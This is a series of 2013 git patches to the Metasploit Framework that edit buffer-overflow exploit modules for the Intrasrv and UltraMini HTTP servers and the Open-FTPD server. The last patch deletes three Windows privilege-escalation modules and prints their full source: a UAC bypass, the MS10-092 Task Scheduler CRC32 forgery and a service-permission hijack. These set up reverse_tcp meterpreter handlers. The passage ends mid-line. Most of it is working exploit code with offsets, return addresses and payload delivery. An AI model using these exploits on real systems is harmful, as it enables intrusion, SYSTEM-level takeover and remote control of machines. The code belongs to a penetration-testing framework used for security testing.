initialize(info={}) @@ -57,24 +57,15 @@ def initialize(info={}) 'Privileged' => false, 'DisclosureDate' => "May 30 2013", 'DefaultTarget' => 0)) - - register_options( - [ - OptPort.new('RPORT', [true, 'The remote port', 80]) - ], self.class) end def check - begin - connect - rescue - print_error("Could not connect to target!") - return Exploit::CheckCode::Safe - end - sock.put("GET / HTTP/1.0\r\n") - res = sock.get + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "/" + }) - if res and res =~ /intrasrv 1.0/ + if res and res.headers['Server'] =~ /intrasrv 1.0/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe @@ -88,19 +79,23 @@ def exploit }) # setup buffer - buf = rand_text_alpha(target['Offset']-128) # junk to egghunter + buf = rand_text(target['Offset']-128) # junk to egghunter buf << make_nops(8) + hunter # nopsled + egghunter at offset-128 - buf << rand_text_alpha(target['Offset']-buf.length) # more junk to offset + buf << rand_text(target['Offset']-buf.length) # more junk to offset buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter buf << [target.ret].pack("V*") # seh - # attach egg tag to payload - shellcode = egg + egg + # Setup payload + shellcode = rand_text(1) # align payload + shellcode = egg + egg # attach egg tags shellcode << payload.encoded print_status("Sending buffer...") - connect - sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}") - disconnect + send_request_cgi({ + 'method' => 'GET', + 'uri' => "/", + 'vhost' => buf, + 'data' => shellcode + }) end end From 6f96445b4247cf5431bd45b165e44da2947dea4d Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 10:13:48 -0400 Subject: [PATCH 155/454] Change target ret/cleanup --- .../exploits/windows/http/ultraminihttp_bof.rb | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 0d5097ee14f6b..c87123dd2416d 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -48,32 +48,20 @@ def initialize(info={}) 'Targets' => [ [ - 'v1.21 - Windows XP SP2 ENG', + 'v1.21 - Windows XP SP3', { 'Offset' => 5412, - 'Ret'=>0x73E32ECF #jmp esp - mfc42.dll - } - ], - [ - 'v1.21 - Windows XP SP3 ENG', - { - 'Offset' => 5412, - 'Ret'=>0x7e429353 #jmp esp - user32.dll + 'Ret'=>0x77c35459 # push esp / ret - msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 10 2013' )) - - register_options( - [ - OptPort.new('RPORT', [true, 'The remote port', 80]) - ], self.class) end def exploit - buf = rand_text_alpha(target['Offset']) + buf = rand_text(target['Offset']) buf << [target.ret].pack("V*") buf << payload.encoded From 9f33a59dc2a7607a5a50620de39ae31bffbef6be Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 11:04:55 -0400 Subject: [PATCH 156/454] Fix target ret --- modules/exploits/windows/http/ultraminihttp_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index c87123dd2416d..c56082eb6e277 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -51,7 +51,7 @@ def initialize(info={}) 'v1.21 - Windows XP SP3', { 'Offset' => 5412, - 'Ret'=>0x77c35459 # push esp / ret - msvcrt.dll + 'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll } ] ], From 7854c452d290d3d898aaba91ffc3ef8b908c4c60 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 11:10:10 -0400 Subject: [PATCH 157/454] Added more payload padding --- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index bfe752ae45988..ec77c95bd660d 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -86,7 +86,7 @@ def exploit buf << [target.ret].pack("V*") # seh # Setup payload - shellcode = rand_text(1) # align payload + shellcode = rand_text(50) # pad payload shellcode = egg + egg # attach egg tags shellcode << payload.encoded From c9bd791ff6f433285426b2c2cfd0d25a33b5ad24 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 12 Aug 2013 11:02:27 -0500 Subject: [PATCH 158/454] fix smart_migrate choice order was trying winlogon first should do explorer first --- modules/post/windows/manage/smart_migrate.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index 9d6896e580b1d..c020000d3d517 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -45,9 +45,12 @@ def run winlogon_procs << proc if proc['name'] == "winlogon.exe" end - winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) } + print_status "Attempting to move into explorer.exe for current user..." uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } + print_status "Attempting to move into explorer.exe for other users..." explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } + print_status "Attempting to move into winlogon.exe" + winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) } print_error "Was unable to sucessfully migrate into any of our likely candidates" end From 8ac01d3b8e8d651e191861230a8c518a6134ecf1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 12 Aug 2013 11:19:25 -0500 Subject: [PATCH 159/454] Fix description and make it aggressive --- modules/exploits/windows/ftp/open_ftpd_wbem.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index 41d55a664ec49..ab42e88f7f0e4 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -18,11 +18,11 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Open-FTPD 1.2 Writable Directory Traversal Execution", + 'Name' => "Open-FTPD 1.2 Arbitrary File Upload", 'Description' => %q{ This module exploits multiple vulnerabilities found in Open&Compact FTP server. The software contains an authentication bypass vulnerability and a - directory traversal vulnerability that allows a remote attacker to write + arbitrary file upload vulnerability that allows a remote attacker to write arbitrary files to the file system as long as there is at least one user who has permission. @@ -48,6 +48,7 @@ def initialize(info={}) 'BadChars' => "\x00", }, 'Platform' => 'win', + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ # Tested on version 1.2 - Windows XP SP3 (EN) From bfb5040dbfe51465506911e23d87ef426273cf09 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 12 Aug 2013 11:21:45 -0500 Subject: [PATCH 160/454] Remove deprecated modules These three modules are well over their deprecation dates. Making good on that threat now. * service_permissions: Marked for removal on 2013-01-10 * bypassuac: Marked for removal on 2013-01-04 * ms10_092_schelevator: Marked for removal on 2013-06-01 --- modules/post/windows/escalate/bypassuac.rb | 142 ------- .../windows/escalate/ms10_092_schelevator.rb | 383 ------------------ .../windows/escalate/service_permissions.rb | 228 ----------- 3 files changed, 753 deletions(-) delete mode 100644 modules/post/windows/escalate/bypassuac.rb delete mode 100644 modules/post/windows/escalate/ms10_092_schelevator.rb delete mode 100644 modules/post/windows/escalate/service_permissions.rb diff --git a/modules/post/windows/escalate/bypassuac.rb b/modules/post/windows/escalate/bypassuac.rb deleted file mode 100644 index 33c65e2eadbee..0000000000000 --- a/modules/post/windows/escalate/bypassuac.rb +++ /dev/null @@ -1,142 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013,1,4), "exploit/windows/local/bypassuac" - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the trusted publisher - certificate through process injection. It will spawn a second shell that - has the UAC flag turned off. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'David Kennedy "ReL1K" ', 'mitnick' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => [ - [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ] - ], - 'DisclosureDate'=> "Dec 31 2010" - )) - - register_options([ - OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]), - OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]), - ]) - - end - - def run - vuln = false - sysinfo = session.sys.config.sysinfo - winver = sysinfo["OS"] - if winver !~ /Windows Vista|Windows 2008|Windows [78]/ - print_error("#{winver} is not vulnerable.") - return - end - - lhost = datastore["LHOST"] || Rex::Socket.source_address - lport = datastore["LPORT"] || 4444 - payload = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp" - - # create a session handler - handler = session.framework.exploits.create("multi/handler") - handler.register_parent(self) - handler.datastore['PAYLOAD'] = payload - handler.datastore['LHOST'] = lhost - handler.datastore['LPORT'] = lport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = true - handler.datastore['ListenerTimeout'] = 300 - handler.datastore['ListenerComm'] = 'local' - - # start the session handler - - #handler.exploit_module = self - handler.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - - # - # Upload the UACBypass to the filesystem - # - - # randomize the filename - filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - # randomize the exe name - tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - # path to the bypassuac binary - path = ::File.join(Msf::Config.install_root, "data", "post") - - # decide, x86 or x64 - bpexe = nil - if sysinfo["Architecture"] =~ /x64/i - bpexe = ::File.join(path, "bypassuac-x64.exe") - else - bpexe = ::File.join(path, "bypassuac-x86.exe") - end - - # generate a payload - pay = session.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - - raw = pay.generate - - exe = Msf::Util::EXE.to_win32pe(session.framework, raw) - - sysdir = session.fs.file.expand_path("%SystemRoot%") - tmpdir = session.fs.file.expand_path("%TEMP%") - cmd = "#{tmpdir}\\#{filename} /c %TEMP%\\#{tempexe_name}" - - print_status("Uploading the bypass UAC executable to the filesystem...") - - begin - # - # Upload UAC bypass to the filesystem - # - session.fs.file.upload_file("%TEMP%\\#{filename}", bpexe) - print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + tempexe_name - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{filename}: #{e.class} #{e}") - return - end - - print_status("Uploaded the agent to the filesystem....") - - # execute the payload - session.sys.process.execute(cmd, nil, {'Hidden' => true}) - - # delete the uac bypass payload - delete_file = "cmd.exe /c del #{tmpdir}\\#{filename}" - - session.sys.process.execute(delete_file, nil, {'Hidden' => true}) - end - - -end diff --git a/modules/post/windows/escalate/ms10_092_schelevator.rb b/modules/post/windows/escalate/ms10_092_schelevator.rb deleted file mode 100644 index 99b95d97276a4..0000000000000 --- a/modules/post/windows/escalate/ms10_092_schelevator.rb +++ /dev/null @@ -1,383 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/post/common' -require 'rex' -require 'zlib' - - -class Metasploit3 < Msf::Post - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013,6,1), "exploit/windows/local/ms10_092_schelevator" - - include Msf::Post::Common - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation', - 'Description' => %q{ - This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. - When processing task files, the Windows Task Scheduler only uses a CRC32 - checksum to validate that the file has not been tampered with. Also, In a default - configuration, normal users can read and write the task files that they have - created. By modifying the task file and creating a CRC32 collision, an attacker - can execute arbitrary commands with SYSTEM privileges. - - NOTE: Thanks to webDEViL for the information about disable/enable. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'jduck' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => - [ - [ 'OSVDB', '68518' ], - [ 'CVE', '2010-3338' ], - [ 'BID', '44357' ], - [ 'MSB', 'MS10-092' ], - [ 'EDB', '15589' ] - ], - 'DisclosureDate'=> 'Sep 13 2010' - )) - - register_options([ - OptString.new("CMD", [ false, "Command to execute instead of a payload" ]), - OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]), - OptAddress.new("RHOST", [ false, "Host" ]), - OptPort.new("RPORT", [ false, "Port", 4444 ]) - ]) - - end - - def run - if session.sys.config.sysinfo["Architecture"] =~ /wow64/i - # - # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters - # worse, meterpreter/railgun creates things in a new thread, making it much more - # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, - # offer a workaround and error out. - # - print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") - return - end - - vuln = false - winver = session.sys.config.sysinfo["OS"] - affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] - affected.each { |v| - if winver.include? v - vuln = true - break - end - } - if not vuln - print_error("#{winver} is not vulnerable.") - return - end - - rhost = datastore["RHOST"] || Rex::Socket.source_address - rport = datastore["RPORT"] || 4444 - taskname = datastore["TASKNAME"] || nil - cmd = datastore["CMD"] || nil - upload_fn = nil - - if not cmd - print_status("Using default reverse-connect meterpreter payload; no CMD specified") - - # Get the exe payload. - pay = session.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(session.framework, raw) - #and placing it on the target in %TEMP% - tempdir = session.fs.file.expand_path("%TEMP%") - tempexename = Rex::Text.rand_text_alpha(rand(8)+6) - cmd = tempdir + "\\" + tempexename + ".exe" - print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") - fd = session.fs.file.new(cmd, "wb") - fd.write(exe) - fd.close - - # get the handler ready - handler = session.framework.exploits.create("multi/handler") - handler.register_parent(self) - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = true - handler.datastore['ListenerTimeout'] = 300 - handler.datastore['ListenerComm'] = 'local' - - #start a handler to be ready - # handler.exploit_module - handler.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - else - print_status("Using command: #{cmd}") - end - - # - # Upload the payload command if needed - # - sysdir = session.fs.file.expand_path("%SystemRoot%") - tmpdir = session.fs.file.expand_path("%TEMP%") - if upload_fn - begin - location = tmpdir.dup - ext = upload_fn.split('.') - if ext - ext = ext.last.downcase - if ext == "exe" - location << "\\svhost#{rand(100)}.exe" - else - location << "\\TMP#{rand(100)}.#{ext}" - end - else - location << "\\TMP#{rand(100)}" - end - - print_status("Uploading #{upload_fn} to #{location}....") - session.fs.file.upload_file(location, upload_fn) - print_status("Upload complete.") - rescue ::Exception => e - print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") - raise e - end - - cmd ||= location - end - # - # Create a new task to do our bidding, but make sure it doesn't run. - # - taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8)) - taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}" - - print_status("Creating task: #{taskname}") - cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" -# print_debug("Will Execute:\n\t#{cmdline}") - exec_schtasks(cmdline, "create the task") - - # - # Read the contents of the newly creates task file - # - content = read_task_file(taskname, taskfile) - - # - # Double-check that we got what we expect. - # - if content[0,2] != "\xff\xfe" - # - # Convert to unicode, since it isn't already - # - content = content.unpack('C*').pack('v*') - else - # - # NOTE: we strip the BOM here to exclude it from the crc32 calculation - # - content = content[2,content.length] - end - - - # - # Record the crc32 for later calculations - # - old_crc32 = crc32(content) - print_status("Original CRC32: 0x%x" % old_crc32) - - # - # Convert the file contents from unicode - # - content = content.unpack('v*').pack('C*') - - # - # Mangle the contents to now run with SYSTEM privileges - # - content.gsub!('LeastPrivilege', 'HighestAvailable') - content.gsub!(/.*<\/UserId>/, 'S-1-5-18') - content.gsub!(/.*<\/Author>/, 'S-1-5-18') - #content.gsub!('InteractiveToken', 'Password') - content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"') - content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"') - content << "" - - # - # Convert it back to unicode - # - content = Rex::Text.to_unicode(content) - - # - # Fix it so the CRC matches again - # - fix_crc32(content, old_crc32) - new_crc32 = crc32(content) - print_status("Final CRC32: 0x%x" % new_crc32) - - # - # Write the new content back - # - print_status("Writing our modified content back...") - fd = session.fs.file.new(taskfile, "wb") - fd.write "\xff\xfe" + content - fd.close - - # - # Validate our results - # - print_status("Validating task: #{taskname}") - exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task") - - # - # Run the task :-) - # - print_status("Disabling the task...") - exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task") - - print_status("Enabling the task...") - exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task") - - print_status("Executing the task...") - exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task") - - - # - # And delete it. - # - print_status("Deleting the task...") - exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task") - end - - def crc32(data) - table = Zlib.crc_table - crc = 0xffffffff - data.unpack('C*').each { |b| - crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) - } - crc - end - - def fix_crc32(data, old_crc) - # - # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably - # reversed from Microsoft's code) - # - bwd_table = [ - 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, - 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, - 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, - 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, - 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, - 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, - 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, - 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, - 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, - 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, - 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, - 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, - 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, - 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, - 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, - 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, - 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, - 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, - 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, - 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, - 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, - 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, - 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, - 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, - 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, - 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, - 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, - 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, - 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, - 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, - 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, - 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, - 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, - 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, - 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, - 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, - 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, - 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, - 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, - 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, - 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, - 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, - 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, - 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, - 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, - 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, - 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, - 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, - 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, - 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, - 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, - 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, - 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, - 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, - 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, - 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, - 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, - 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, - 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, - 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, - 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, - 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, - 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, - 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 - ] - - crc = crc32(data[0, data.length - 12]) - data[-12, 4] = [crc].pack('V') - - data[-12, 12].unpack('C*').reverse.each { |b| - old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff - } - data[-12, 4] = [old_crc].pack('V') - end - - def exec_schtasks(cmdline, purpose) - cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR" - lns = cmd_exec('cmd.exe', cmdline) - - success = false - lns.each_line { |ln| - ln.chomp! - if ln =~ /^SUCCESS\:\s/ - success = true - print_status(ln) - else - print_status(ln) - end - } - end - - - def read_task_file(taskname, taskfile) - print_status("Reading the task file contents from #{taskfile}...") - - # Can't read the file directly on 2008? - content = '' - fd = session.fs.file.new(taskfile, "rb") - until fd.eof? - content << fd.read - end - fd.close - - content - end - -end diff --git a/modules/post/windows/escalate/service_permissions.rb b/modules/post/windows/escalate/service_permissions.rb deleted file mode 100644 index 2d217ce4d9c90..0000000000000 --- a/modules/post/windows/escalate/service_permissions.rb +++ /dev/null @@ -1,228 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/post/windows/services' -require 'rex' - -class Metasploit3 < Msf::Post - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013,1,10), "exploit/windows/local/service_permissions" - - include ::Msf::Post::Windows::Services - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation', - 'Description' => %q{ - This module attempts to exploit existing administrative privileges to obtain - a SYSTEM session. If directly creating a service fails, this module will inspect - existing services to look for insecure file or configuration permissions that may - be hijacked. It will then attempt to restart the replaced service to run the - payload. This will result in a new session when this succeeds. If the module is - able to modify the service but does not have permission to start and stop the - affected service, the attacker must wait for the system to restart before a - session will be created. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'scriptjunkie' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - - register_options([ - OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]), - OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]), - OptString.new("PAYLOAD", [ false, "Windows Payload to use.", "windows/meterpreter/reverse_tcp" ]), - OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ]) - ]) - - end - - def run - print_status("running") - - lhost = datastore["LHOST"] || Rex::Socket.source_address - lport = datastore["LPORT"] || 4444 - payload = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp" - - # create a session handler - handler = session.framework.exploits.create("multi/handler") - handler.register_parent(self) - handler.datastore['PAYLOAD'] = payload - handler.datastore['LHOST'] = lhost - handler.datastore['LPORT'] = lport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = true - handler.datastore['ListenerTimeout'] = 300 - handler.datastore['ListenerComm'] = 'local' - - # start the session handler - - #handler.exploit_module = self - handler.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - - # randomize the filename - filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - # randomize the exe name - tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - # generate a payload - pay = session.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - - raw = pay.generate - - if pay.arch.join == "x86" - exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) - else - exe = Msf::Util::EXE.to_win64pe_service(session.framework, raw) - end - - sysdir = session.fs.file.expand_path("%SystemRoot%") - tmpdir = session.fs.file.expand_path("%TEMP%") - - begin - print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + tempexe_name - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{filename}: #{e.class} #{e}") - return - end - - #attempt to make new service - - #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config - - print_status("Trying to add a new service...") - adv = client.railgun.advapi32 - manag = adv.OpenSCManagerA(nil,nil,0x10013) - if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - # SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), - "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - adv.DeleteService(newservice["return"]) - adv.CloseServiceHandle(newservice["return"]) - if datastore['AGGRESSIVE'] != true - adv.CloseServiceHandle(manag["return"]) - return - end - else - print_error("Uhoh. service creation failed, but we should have the permissions. :-(") - end - else - print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") - end - end - print_status("Trying to find weak permissions in existing services..") - #Search through list of services to find weak permissions, whether file or config - serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" - #for each service - service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = client.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = 